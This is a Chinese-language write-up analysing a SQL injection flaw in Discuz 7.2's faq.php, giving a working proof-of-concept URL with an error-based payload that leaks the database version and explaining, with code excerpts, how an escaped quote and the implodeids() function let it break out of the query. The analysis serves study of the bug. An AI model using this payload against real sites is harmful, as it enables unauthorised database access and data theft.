写在前面的话:分析完整个漏洞,不得不感叹,发现漏洞的人真的好细心呀。
在分析整个漏洞之前,没看poc,然后就直接看faq.php 准备试试自己发现漏洞的能力,但是分析完一整个php,也是卡在 in() 这里,因为整个faq.php就这里的参数是可控的。但是也没看出什么来,最后看了poc之后焕然大悟,然后开始感慨。
先看poc吧,按着poc来分析。
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23
由于discuz开启全局变量注册,所以在看代码的时候都不用声明请求的方式。这是初看discuz7.2时候的困惑。
根据给的poc,发现action等于grouppermission的时候,然后参数只有gids,看到gids
foreach($gids as $row) {
$groupids[] = $row[0];
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
进入for循环,然后把$gids中第一个数组赋值给$groupids,看到这里的$row[0],当遇到数组时,取第一个数组,当遇到字符串时,去字符串的第一个字符。
这时候我们的poc是gids[99]=%27,由于discuz7.2的全局变量会对'进行自动过滤,也就是添加反斜杠 \'
这时候$row[0]取出来的值是反斜杠\ 。
第二个参数取出来的是
) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#
然后进入implodeids()函数,
function implodeids($array) {
if(!empty($array)) {
return "'".implode("','", is_array($array) ? $array : array($array))."'";
} else {
return '';
}
}
implodeids()函数功能就是对$array进行切割,并加上',' 这时候返回的值是
'7','\',') and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#'
我们可以看到反斜杠干掉了一个单引号,剩下另一个单引号用#来注释掉,这时候就能跳出来执行sql语句了,对于'\',' 由于反斜杠干掉了一个单引号,所以他被认为是个字符串。
整个查询是这样的:
SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\',') and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#')
这个漏洞告诉我们要联系上下文,对于可控参数不要放过,对于取值切割的字符串要格外注意。
这个漏洞有点像php4fun 的第一题
地址: http://www.2cto.com/article/201310/250260.html
看到个文章,顺便加上。我保存到了印象笔记里面。
http://qqhack8.blog.163.com/blog/static/11414798520146711246279/